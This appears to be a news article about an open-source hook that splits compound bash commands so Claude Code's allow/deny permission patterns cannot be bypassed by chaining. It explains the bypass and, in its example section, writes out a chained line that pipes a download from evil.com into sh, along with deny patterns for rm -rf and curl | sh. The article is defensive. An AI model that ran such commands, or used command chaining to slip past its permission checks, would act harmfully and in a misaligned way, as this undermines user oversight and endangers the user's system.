This Smart Hook Fixes Claude Code's Biggest Permission Blind Spot

This Smart Hook Fixes Claude Code's Biggest Permission Blind Spot

A new PreToolUse hook decomposes compound bash commands (&&, ||, |, etc.) to check each sub-command against your allow/deny patterns, preventing dangerous command chaining.

Ggentic.news Editorial·14h ago·4 min read·12 views·via hn_claude_code, gn_claude_code_tips
Share:

The Problem: Compound Commands Bypass Your Security

Claude Code's built-in permission system has a critical gap: it matches commands as a whole string. This means git status && rm -rf / would match an allow pattern for git status:* and execute without prompting, even though it contains the dangerous rm -rf / command. The same vulnerability exists with pipes (|), subshells ($()), semicolons (;), and logical operators (||).

The Solution: Smart Permission Hook

A new open-source hook (smart_approve.py) intercepts every Bash tool call before execution. It:

  1. Decomposes compound commands into individual sub-commands
  2. Checks each piece against your existing permissions.allow and permissions.deny patterns
  3. Only allows execution if EVERY sub-command passes your rules

How It Works

The hook receives Claude Code's tool invocation JSON via stdin (standard hook interface), then:

  • Splits commands on: &&, ||, ;, |, $(), backticks, and newlines
  • Recursively extracts subshell contents for nested checking
  • Normalizes each sub-command before pattern matching:
    • Strips environment variable prefixes (EDITOR=vim git commitgit commit)
    • Removes I/O redirections (ls > out.txt 2>&1ls)
    • Filters structural keywords (do, done, then, else, fi, etc.)
    • Collapses whitespace and line continuations
    • Discards heredoc bodies
  • Loads permission patterns from ALL settings layers (global, project, local)
  • Outputs allow/deny JSON decision or falls through to normal prompting

Install It Now (2 Minutes)

# 1. Download the hook
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
    https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

# 2. Add to your Claude Code settings (~/.claude/settings.json)
# Merge this with your existing config:
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

That's it. The hook runs automatically on every Bash tool call.

Real-World Example

Before hook:

You: allow Bash(git status:*)
Claude runs: git status && curl -s http://evil.com | sh
# Entire command matches "git status:*" → EXECUTES

After hook:

Claude tries: git status && curl -s http://evil.com | sh
↓
Decomposed into:
1. git status ✅ matches allow pattern
2. curl -s http://evil.com ❌ no allow pattern → PROMPT SHOWN
3. sh ❌ no allow pattern → PROMPT SHOWN
↓
Permission prompt appears — you decide.

Why This Matters for Daily Work

  1. Safer automation: You can safely allow common commands like git status without worrying about chained malicious commands
  2. Better permission granularity: Deny patterns on dangerous commands (rm, curl | sh, wget) actually work
  3. No workflow disruption: The hook uses your existing patterns — no new configuration needed
  4. Transparent operation: Falls through to normal prompting if any sub-command fails pattern checks

Edge Cases Handled

The hook intelligently handles complex bash syntax:

  • Subshells: $(find . -name "*.py" | xargs grep -l "secret") → checks find and xargs separately
  • Line continuations: ls \\n -la → normalized to ls -la
  • Heredocs: Content between <<EOF and EOF is discarded (not treated as commands)
  • Conditional execution: test -f file.txt && echo "exists" || echo "missing" → checks all three commands

When You Might Want to Disable It

Temporarily disable the hook by removing it from your settings.json if:

  • You're working with complex bash scripts that should be treated as atomic units
  • You encounter false positives with legitimate compound commands
  • You need maximum performance (minimal overhead, but exists)

The Bigger Picture

This hook exemplifies Claude Code's extensibility through its hook system. By intercepting at the PreToolUse stage, developers can add custom security, logging, or transformation logic without modifying Claude Code itself. It's a pattern worth exploring for other customizations.

Bottom line: Install this hook today. It fixes a real security vulnerability while maintaining your existing workflow. Two minutes now could prevent a catastrophic rm -rf later.

AI Analysis

**Immediate action**: Run the installation commands above. This isn't optional security theater—it's fixing an actual bypass in Claude Code's permission system. **Workflow change**: You can now write more permissive allow patterns safely. Instead of trying to anticipate every dangerous command combination, you can allow `git *` knowing that `git status && rm -rf /` will still trigger a prompt for the `rm` portion. **Pattern adjustment**: Review your existing `permissions.deny` patterns. Commands like `rm -rf`, `curl | sh`, and `wget -O- | bash` that were previously bypassable by command chaining will now be properly blocked. Consider adding these if you haven't already. **Testing**: After installation, test with `claude code 'run: git status && echo "test"'`. You should get a prompt for the `echo` command unless you have a matching allow pattern. This verifies the hook is working. **Project settings**: Consider adding this hook to your project's `.claude/settings.json` (committed) so all team members benefit. The hook loads patterns from all settings layers, so project-specific deny patterns will be enforced.
Original sourcegithub.com

Trending Now

More in Products & Launches

View all